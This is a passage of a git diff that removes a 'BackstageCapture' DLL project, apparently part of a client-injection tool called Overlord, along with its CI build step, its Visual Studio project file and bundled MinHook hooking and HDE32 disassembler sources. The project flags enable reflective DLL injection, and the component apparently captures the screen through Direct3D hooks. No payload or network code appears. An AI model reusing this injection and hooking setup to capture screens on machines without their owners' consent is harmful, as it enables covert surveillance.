diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml
index cad34c2..9298aab 100644
--- a/.github/workflows/docker-publish.yml
+++ b/.github/workflows/docker-publish.yml
@@ -43,17 +43,12 @@ jobs:
shell: cmd
run: call scripts\build-backstage-dll.bat
- - name: Build BackstageCapture DLL with MSVC
- shell: cmd
- run: call scripts\build-backstage-capture-dll.bat
-
- name: Upload backstage DLLs
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: backstage-dll
path: |
Overlord-Server/dist-clients/BackstageInjection.x64.dll
- Overlord-Server/dist-clients/BackstageCapture.x64.dll
if-no-files-found: error
retention-days: 1
diff --git a/BackstageCapture/BackstageCapture.vcxproj b/BackstageCapture/BackstageCapture.vcxproj
deleted file mode 100644
index 73837b3..0000000
--- a/BackstageCapture/BackstageCapture.vcxproj
+++ /dev/null
@@ -1,144 +0,0 @@
-
-
-
-
- Debug
- x64
-
-
- Release
- x64
-
-
-
- {A1B2C3D4-1234-5678-9ABC-DEF012345678}
- BackstageCapture
- Win32Proj
-
-
-
- DynamicLibrary
- v143
- MultiByte
- false
-
-
- DynamicLibrary
- false
- v143
- false
- Unicode
-
-
-
-
-
-
-
-
-
-
-
-
- <_ProjectFileVersion>11.0.50727.1
-
-
- $(SolutionDir)$(Platform)\$(Configuration)\
- $(Platform)\$(Configuration)\
- true
- $(ProjectName).x64
-
-
- $(SolutionDir)$(Platform)\$(Configuration)\
- $(Platform)\$(Configuration)\
- false
- $(ProjectName).x64
-
-
-
- X64
-
-
- MaxSpeed
- OnlyExplicitInline
- true
- Size
- false
- WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
- $(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)
- MultiThreaded
- true
-
- Level3
- ProgramDatabase
- CompileAsCpp
-
-
- $(OutDir)$(ProjectName).x64.dll
- true
- Windows
- true
- true
- MachineX64
- d3d11.lib;dxgi.lib;%(AdditionalDependencies)
-
-
-
-
- X64
-
-
- MaxSpeed
- OnlyExplicitInline
- true
- Size
- false
- WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
- $(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)
- MultiThreaded
- true
-
- Level3
- ProgramDatabase
- CompileAsCpp
-
-
- $(OutDir)$(ProjectName).x64.dll
- true
- Windows
- true
- true
- MachineX64
- d3d11.lib;dxgi.lib;%(AdditionalDependencies)
-
-
-
-
-
-
-
- CompileAsC
-
-
- CompileAsC
-
-
- CompileAsC
-
-
- CompileAsC
-
-
- CompileAsC
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/BackstageCapture/Minhook/include/MinHook.h b/BackstageCapture/Minhook/include/MinHook.h
deleted file mode 100644
index ae39350..0000000
--- a/BackstageCapture/Minhook/include/MinHook.h
+++ /dev/null
@@ -1,185 +0,0 @@
-/*
- * MinHook - The Minimalistic API Hooking Library for x64/x86
- * Copyright (C) 2009-2017 Tsuda Kageyu.
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
- * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#pragma once
-
-#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
- #error MinHook supports only x86 and x64 systems.
-#endif
-
-#include
-
-// MinHook Error Codes.
-typedef enum MH_STATUS
-{
- // Unknown error. Should not be returned.
- MH_UNKNOWN = -1,
-
- // Successful.
- MH_OK = 0,
-
- // MinHook is already initialized.
- MH_ERROR_ALREADY_INITIALIZED,
-
- // MinHook is not initialized yet, or already uninitialized.
- MH_ERROR_NOT_INITIALIZED,
-
- // The hook for the specified target function is already created.
- MH_ERROR_ALREADY_CREATED,
-
- // The hook for the specified target function is not created yet.
- MH_ERROR_NOT_CREATED,
-
- // The hook for the specified target function is already enabled.
- MH_ERROR_ENABLED,
-
- // The hook for the specified target function is not enabled yet, or already
- // disabled.
- MH_ERROR_DISABLED,
-
- // The specified pointer is invalid. It points the address of non-allocated
- // and/or non-executable region.
- MH_ERROR_NOT_EXECUTABLE,
-
- // The specified target function cannot be hooked.
- MH_ERROR_UNSUPPORTED_FUNCTION,
-
- // Failed to allocate memory.
- MH_ERROR_MEMORY_ALLOC,
-
- // Failed to change the memory protection.
- MH_ERROR_MEMORY_PROTECT,
-
- // The specified module is not loaded.
- MH_ERROR_MODULE_NOT_FOUND,
-
- // The specified function is not found.
- MH_ERROR_FUNCTION_NOT_FOUND
-}
-MH_STATUS;
-
-// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
-// MH_QueueEnableHook or MH_QueueDisableHook.
-#define MH_ALL_HOOKS NULL
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
- // Initialize the MinHook library. You must call this function EXACTLY ONCE
- // at the beginning of your program.
- MH_STATUS WINAPI MH_Initialize(VOID);
-
- // Uninitialize the MinHook library. You must call this function EXACTLY
- // ONCE at the end of your program.
- MH_STATUS WINAPI MH_Uninitialize(VOID);
-
- // Creates a hook for the specified target function, in disabled state.
- // Parameters:
- // pTarget [in] A pointer to the target function, which will be
- // overridden by the detour function.
- // pDetour [in] A pointer to the detour function, which will override
- // the target function.
- // ppOriginal [out] A pointer to the trampoline function, which will be
- // used to call the original target function.
- // This parameter can be NULL.
- MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);
-
- // Creates a hook for the specified API function, in disabled state.
- // Parameters:
- // pszModule [in] A pointer to the loaded module name which contains the
- // target function.
- // pszProcName [in] A pointer to the target function name, which will be
- // overridden by the detour function.
- // pDetour [in] A pointer to the detour function, which will override
- // the target function.
- // ppOriginal [out] A pointer to the trampoline function, which will be
- // used to call the original target function.
- // This parameter can be NULL.
- MH_STATUS WINAPI MH_CreateHookApi(
- LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal);
-
- // Creates a hook for the specified API function, in disabled state.
- // Parameters:
- // pszModule [in] A pointer to the loaded module name which contains the
- // target function.
- // pszProcName [in] A pointer to the target function name, which will be
- // overridden by the detour function.
- // pDetour [in] A pointer to the detour function, which will override
- // the target function.
- // ppOriginal [out] A pointer to the trampoline function, which will be
- // used to call the original target function.
- // This parameter can be NULL.
- // ppTarget [out] A pointer to the target function, which will be used
- // with other functions.
- // This parameter can be NULL.
- MH_STATUS WINAPI MH_CreateHookApiEx(
- LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget);
-
- // Removes an already created hook.
- // Parameters:
- // pTarget [in] A pointer to the target function.
- MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
-
- // Enables an already created hook.
- // Parameters:
- // pTarget [in] A pointer to the target function.
- // If this parameter is MH_ALL_HOOKS, all created hooks are
- // enabled in one go.
- MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
-
- // Disables an already created hook.
- // Parameters:
- // pTarget [in] A pointer to the target function.
- // If this parameter is MH_ALL_HOOKS, all created hooks are
- // disabled in one go.
- MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
-
- // Queues to enable an already created hook.
- // Parameters:
- // pTarget [in] A pointer to the target function.
- // If this parameter is MH_ALL_HOOKS, all created hooks are
- // queued to be enabled.
- MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
-
- // Queues to disable an already created hook.
- // Parameters:
- // pTarget [in] A pointer to the target function.
- // If this parameter is MH_ALL_HOOKS, all created hooks are
- // queued to be disabled.
- MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
-
- // Applies all queued changes in one go.
- MH_STATUS WINAPI MH_ApplyQueued(VOID);
-
- // Translates the MH_STATUS to its name as a string.
- const char *WINAPI MH_StatusToString(MH_STATUS status);
-
-#ifdef __cplusplus
-}
-#endif
diff --git a/BackstageCapture/Minhook/src/buffer.c b/BackstageCapture/Minhook/src/buffer.c
deleted file mode 100644
index 940df65..0000000
--- a/BackstageCapture/Minhook/src/buffer.c
+++ /dev/null
@@ -1,312 +0,0 @@
-/*
- * MinHook - The Minimalistic API Hooking Library for x64/x86
- * Copyright (C) 2009-2017 Tsuda Kageyu.
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
- * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include
-#include "buffer.h"
-
-// Size of each memory block. (= page size of VirtualAlloc)
-#define MEMORY_BLOCK_SIZE 0x1000
-
-// Max range for seeking a memory block. (= 1024MB)
-#define MAX_MEMORY_RANGE 0x40000000
-
-// Memory protection flags to check the executable address.
-#define PAGE_EXECUTE_FLAGS \
- (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)
-
-// Memory slot.
-typedef struct _MEMORY_SLOT
-{
- union
- {
- struct _MEMORY_SLOT *pNext;
- UINT8 buffer[MEMORY_SLOT_SIZE];
- };
-} MEMORY_SLOT, *PMEMORY_SLOT;
-
-// Memory block info. Placed at the head of each block.
-typedef struct _MEMORY_BLOCK
-{
- struct _MEMORY_BLOCK *pNext;
- PMEMORY_SLOT pFree; // First element of the free slot list.
- UINT usedCount;
-} MEMORY_BLOCK, *PMEMORY_BLOCK;
-
-//-------------------------------------------------------------------------
-// Global Variables:
-//-------------------------------------------------------------------------
-
-// First element of the memory block list.
-static PMEMORY_BLOCK g_pMemoryBlocks;
-
-//-------------------------------------------------------------------------
-VOID InitializeBuffer(VOID)
-{
- // Nothing to do for now.
-}
-
-//-------------------------------------------------------------------------
-VOID UninitializeBuffer(VOID)
-{
- PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
- g_pMemoryBlocks = NULL;
-
- while (pBlock)
- {
- PMEMORY_BLOCK pNext = pBlock->pNext;
- VirtualFree(pBlock, 0, MEM_RELEASE);
- pBlock = pNext;
- }
-}
-
-//-------------------------------------------------------------------------
-#if defined(_M_X64) || defined(__x86_64__)
-static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity)
-{
- ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
-
- // Round down to the allocation granularity.
- tryAddr -= tryAddr % dwAllocationGranularity;
-
- // Start from the previous allocation granularity multiply.
- tryAddr -= dwAllocationGranularity;
-
- while (tryAddr >= (ULONG_PTR)pMinAddr)
- {
- MEMORY_BASIC_INFORMATION mbi;
- if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
- break;
-
- if (mbi.State == MEM_FREE)
- return (LPVOID)tryAddr;
-
- if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity)
- break;
-
- tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity;
- }
-
- return NULL;
-}
-#endif
-
-//-------------------------------------------------------------------------
-#if defined(_M_X64) || defined(__x86_64__)
-static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity)
-{
- ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
-
- // Round down to the allocation granularity.
- tryAddr -= tryAddr % dwAllocationGranularity;
-
- // Start from the next allocation granularity multiply.
- tryAddr += dwAllocationGranularity;
-
- while (tryAddr <= (ULONG_PTR)pMaxAddr)
- {
- MEMORY_BASIC_INFORMATION mbi;
- if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
- break;
-
- if (mbi.State == MEM_FREE)
- return (LPVOID)tryAddr;
-
- tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
-
- // Round up to the next allocation granularity.
- tryAddr += dwAllocationGranularity - 1;
- tryAddr -= tryAddr % dwAllocationGranularity;
- }
-
- return NULL;
-}
-#endif
-
-//-------------------------------------------------------------------------
-static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin)
-{
- PMEMORY_BLOCK pBlock;
-#if defined(_M_X64) || defined(__x86_64__)
- ULONG_PTR minAddr;
- ULONG_PTR maxAddr;
-
- SYSTEM_INFO si;
- GetSystemInfo(&si);
- minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress;
- maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress;
-
- // pOrigin ± 512MB
- if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE)
- minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE;
-
- if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE)
- maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE;
-
- // Make room for MEMORY_BLOCK_SIZE bytes.
- maxAddr -= MEMORY_BLOCK_SIZE - 1;
-#endif
-
- // Look the registered blocks for a reachable one.
- for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext)
- {
-#if defined(_M_X64) || defined(__x86_64__)
- // Ignore the blocks too far.
- if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr)
- continue;
-#endif
- // The block has at least one unused slot.
- if (pBlock->pFree != NULL)
- return pBlock;
- }
-
-#if defined(_M_X64) || defined(__x86_64__)
- // Alloc a new block above if not found.
- {
- LPVOID pAlloc = pOrigin;
- while ((ULONG_PTR)pAlloc >= minAddr)
- {
- pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity);
- if (pAlloc == NULL)
- break;
-
- pBlock = (PMEMORY_BLOCK)VirtualAlloc(
- pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (pBlock != NULL)
- break;
- }
- }
-
- // Alloc a new block below if not found.
- if (pBlock == NULL)
- {
- LPVOID pAlloc = pOrigin;
- while ((ULONG_PTR)pAlloc <= maxAddr)
- {
- pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity);
- if (pAlloc == NULL)
- break;
-
- pBlock = (PMEMORY_BLOCK)VirtualAlloc(
- pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (pBlock != NULL)
- break;
- }
- }
-#else
- // In x86 mode, a memory block can be placed anywhere.
- pBlock = (PMEMORY_BLOCK)VirtualAlloc(
- NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
-#endif
-
- if (pBlock != NULL)
- {
- // Build a linked list of all the slots.
- PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1;
- pBlock->pFree = NULL;
- pBlock->usedCount = 0;
- do
- {
- pSlot->pNext = pBlock->pFree;
- pBlock->pFree = pSlot;
- pSlot++;
- } while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE);
-
- pBlock->pNext = g_pMemoryBlocks;
- g_pMemoryBlocks = pBlock;
- }
-
- return pBlock;
-}
-
-//-------------------------------------------------------------------------
-LPVOID AllocateBuffer(LPVOID pOrigin)
-{
- PMEMORY_SLOT pSlot;
- PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin);
- if (pBlock == NULL)
- return NULL;
-
- // Remove an unused slot from the list.
- pSlot = pBlock->pFree;
- pBlock->pFree = pSlot->pNext;
- pBlock->usedCount++;
-#ifdef _DEBUG
- // Fill the slot with INT3 for debugging.
- memset(pSlot, 0xCC, sizeof(MEMORY_SLOT));
-#endif
- return pSlot;
-}
-
-//-------------------------------------------------------------------------
-VOID FreeBuffer(LPVOID pBuffer)
-{
- PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
- PMEMORY_BLOCK pPrev = NULL;
- ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE;
-
- while (pBlock != NULL)
- {
- if ((ULONG_PTR)pBlock == pTargetBlock)
- {
- PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer;
-#ifdef _DEBUG
- // Clear the released slot for debugging.
- memset(pSlot, 0x00, sizeof(MEMORY_SLOT));
-#endif
- // Restore the released slot to the list.
- pSlot->pNext = pBlock->pFree;
- pBlock->pFree = pSlot;
- pBlock->usedCount--;
-
- // Free if unused.
- if (pBlock->usedCount == 0)
- {
- if (pPrev)
- pPrev->pNext = pBlock->pNext;
- else
- g_pMemoryBlocks = pBlock->pNext;
-
- VirtualFree(pBlock, 0, MEM_RELEASE);
- }
-
- break;
- }
-
- pPrev = pBlock;
- pBlock = pBlock->pNext;
- }
-}
-
-//-------------------------------------------------------------------------
-BOOL IsExecutableAddress(LPVOID pAddress)
-{
- MEMORY_BASIC_INFORMATION mi;
- VirtualQuery(pAddress, &mi, sizeof(mi));
-
- return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS));
-}
diff --git a/BackstageCapture/Minhook/src/buffer.h b/BackstageCapture/Minhook/src/buffer.h
deleted file mode 100644
index 204d551..0000000
--- a/BackstageCapture/Minhook/src/buffer.h
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * MinHook - The Minimalistic API Hooking Library for x64/x86
- * Copyright (C) 2009-2017 Tsuda Kageyu.
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
- * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#pragma once
-
-// Size of each memory slot.
-#if defined(_M_X64) || defined(__x86_64__)
- #define MEMORY_SLOT_SIZE 64
-#else
- #define MEMORY_SLOT_SIZE 32
-#endif
-
-VOID InitializeBuffer(VOID);
-VOID UninitializeBuffer(VOID);
-LPVOID AllocateBuffer(LPVOID pOrigin);
-VOID FreeBuffer(LPVOID pBuffer);
-BOOL IsExecutableAddress(LPVOID pAddress);
diff --git a/BackstageCapture/Minhook/src/hde/hde32.c b/BackstageCapture/Minhook/src/hde/hde32.c
deleted file mode 100644
index eb6af9b..0000000
--- a/BackstageCapture/Minhook/src/hde/hde32.c
+++ /dev/null
@@ -1,324 +0,0 @@
-/*
- * Hacker Disassembler Engine 32 C
- * Copyright (c) 2008-2009, Vyacheslav Patkov.
- * All rights reserved.
- *
- */
-
-#if defined(_M_IX86) || defined(__i386__)
-
-#include
-#include "hde32.h"
-#include "table32.h"
-
-unsigned int hde32_disasm(const void *code, hde32s *hs)
-{
- uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
- uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0;
-
- memset(hs, 0, sizeof(hde32s));
-
- for (x = 16; x; x--)
- switch (c = *p++) {
- case 0xf3:
- hs->p_rep = c;
- pref |= PRE_F3;
- break;
- case 0xf2:
- hs->p_rep = c;
- pref |= PRE_F2;
- break;
- case 0xf0:
- hs->p_lock = c;
- pref |= PRE_LOCK;
- break;
- case 0x26: case 0x2e: case 0x36:
- case 0x3e: case 0x64: case 0x65:
- hs->p_seg = c;
- pref |= PRE_SEG;
- break;
- case 0x66:
- hs->p_66 = c;
- pref |= PRE_66;
- break;
- case 0x67:
- hs->p_67 = c;
- pref |= PRE_67;
- break;
- default:
- goto pref_done;
- }
- pref_done:
-
- hs->flags = (uint32_t)pref << 23;
-
- if (!pref)
- pref |= PRE_NONE;
-
- if ((hs->opcode = c) == 0x0f) {
- hs->opcode2 = c = *p++;
- ht += DELTA_OPCODES;
- } else if (c >= 0xa0 && c <= 0xa3) {
- if (pref & PRE_67)
- pref |= PRE_66;
- else
- pref &= ~PRE_66;
- }
-
- opcode = c;
- cflags = ht[ht[opcode / 4] + (opcode % 4)];
-
- if (cflags == C_ERROR) {
- hs->flags |= F_ERROR | F_ERROR_OPCODE;
- cflags = 0;
- if ((opcode & -3) == 0x24)
- cflags++;
- }
-
- x = 0;
- if (cflags & C_GROUP) {
- uint16_t t;
- t = *(uint16_t *)(ht + (cflags & 0x7f));
- cflags = (uint8_t)t;
- x = (uint8_t)(t >> 8);
- }
-
- if (hs->opcode2) {
- ht = hde32_table + DELTA_PREFIXES;
- if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
- hs->flags |= F_ERROR | F_ERROR_OPCODE;
- }
-
- if (cflags & C_MODRM) {
- hs->flags |= F_MODRM;
- hs->modrm = c = *p++;
- hs->modrm_mod = m_mod = c >> 6;
- hs->modrm_rm = m_rm = c & 7;
- hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
-
- if (x && ((x << m_reg) & 0x80))
- hs->flags |= F_ERROR | F_ERROR_OPCODE;
-
- if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
- uint8_t t = opcode - 0xd9;
- if (m_mod == 3) {
- ht = hde32_table + DELTA_FPU_MODRM + t*8;
- t = ht[m_reg] << m_rm;
- } else {
- ht = hde32_table + DELTA_FPU_REG;
- t = ht[t] << m_reg;
- }
- if (t & 0x80)
- hs->flags |= F_ERROR | F_ERROR_OPCODE;
- }
-
- if (pref & PRE_LOCK) {
- if (m_mod == 3) {
- hs->flags |= F_ERROR | F_ERROR_LOCK;
- } else {
- uint8_t *table_end, op = opcode;
- if (hs->opcode2) {
- ht = hde32_table + DELTA_OP2_LOCK_OK;
- table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
- } else {
- ht = hde32_table + DELTA_OP_LOCK_OK;
- table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
- op &= -2;
- }
- for (; ht != table_end; ht++)
- if (*ht++ == op) {
- if (!((*ht << m_reg) & 0x80))
- goto no_lock_error;
- else
- break;
- }
- hs->flags |= F_ERROR | F_ERROR_LOCK;
- no_lock_error:
- ;
- }
- }
-
- if (hs->opcode2) {
- switch (opcode) {
- case 0x20: case 0x22:
- m_mod = 3;
- if (m_reg > 4 || m_reg == 1)
- goto error_operand;
- else
- goto no_error_operand;
- case 0x21: case 0x23:
- m_mod = 3;
- if (m_reg == 4 || m_reg == 5)
- goto error_operand;
- else
- goto no_error_operand;
- }
- } else {
- switch (opcode) {
- case 0x8c:
- if (m_reg > 5)
- goto error_operand;
- else
- goto no_error_operand;
- case 0x8e:
- if (m_reg == 1 || m_reg > 5)
- goto error_operand;
- else
- goto no_error_operand;
- }
- }
-
- if (m_mod == 3) {
- uint8_t *table_end;
- if (hs->opcode2) {
- ht = hde32_table + DELTA_OP2_ONLY_MEM;
- table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM;
- } else {
- ht = hde32_table + DELTA_OP_ONLY_MEM;
- table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
- }
- for (; ht != table_end; ht += 2)
- if (*ht++ == opcode) {
- if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
- goto error_operand;
- else
- break;
- }
- goto no_error_operand;
- } else if (hs->opcode2) {
- switch (opcode) {
- case 0x50: case 0xd7: case 0xf7:
- if (pref & (PRE_NONE | PRE_66))
- goto error_operand;
- break;
- case 0xd6:
- if (pref & (PRE_F2 | PRE_F3))
- goto error_operand;
- break;
- case 0xc5:
- goto error_operand;
- }
- goto no_error_operand;
- } else
- goto no_error_operand;
-
- error_operand:
- hs->flags |= F_ERROR | F_ERROR_OPERAND;
- no_error_operand:
-
- c = *p++;
- if (m_reg <= 1) {
- if (opcode == 0xf6)
- cflags |= C_IMM8;
- else if (opcode == 0xf7)
- cflags |= C_IMM_P66;
- }
-
- switch (m_mod) {
- case 0:
- if (pref & PRE_67) {
- if (m_rm == 6)
- disp_size = 2;
- } else
- if (m_rm == 5)
- disp_size = 4;
- break;
- case 1:
- disp_size = 1;
- break;
- case 2:
- disp_size = 2;
- if (!(pref & PRE_67))
- disp_size <<= 1;
- break;
- }
-
- if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) {
- hs->flags |= F_SIB;
- p++;
- hs->sib = c;
- hs->sib_scale = c >> 6;
- hs->sib_index = (c & 0x3f) >> 3;
- if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
- disp_size = 4;
- }
-
- p--;
- switch (disp_size) {
- case 1:
- hs->flags |= F_DISP8;
- hs->disp.disp8 = *p;
- break;
- case 2:
- hs->flags |= F_DISP16;
- hs->disp.disp16 = *(uint16_t *)p;
- break;
- case 4:
- hs->flags |= F_DISP32;
- hs->disp.disp32 = *(uint32_t *)p;
- break;
- }
- p += disp_size;
- } else if (pref & PRE_LOCK)
- hs->flags |= F_ERROR | F_ERROR_LOCK;
-
- if (cflags & C_IMM_P66) {
- if (cflags & C_REL32) {
- if (pref & PRE_66) {
- hs->flags |= F_IMM16 | F_RELATIVE;
- hs->imm.imm16 = *(uint16_t *)p;
- p += 2;
- goto disasm_done;
- }
- goto rel32_ok;
- }
- if (pref & PRE_66) {
- hs->flags |= F_IMM16;
- hs->imm.imm16 = *(uint16_t *)p;
- p += 2;
- } else {
- hs->flags |= F_IMM32;
- hs->imm.imm32 = *(uint32_t *)p;
- p += 4;
- }
- }
-
- if (cflags & C_IMM16) {
- if (hs->flags & F_IMM32) {
- hs->flags |= F_IMM16;
- hs->disp.disp16 = *(uint16_t *)p;
- } else if (hs->flags & F_IMM16) {
- hs->flags |= F_2IMM16;
- hs->disp.disp16 = *(uint16_t *)p;
- } else {
- hs->flags |= F_IMM16;
- hs->imm.imm16 = *(uint16_t *)p;
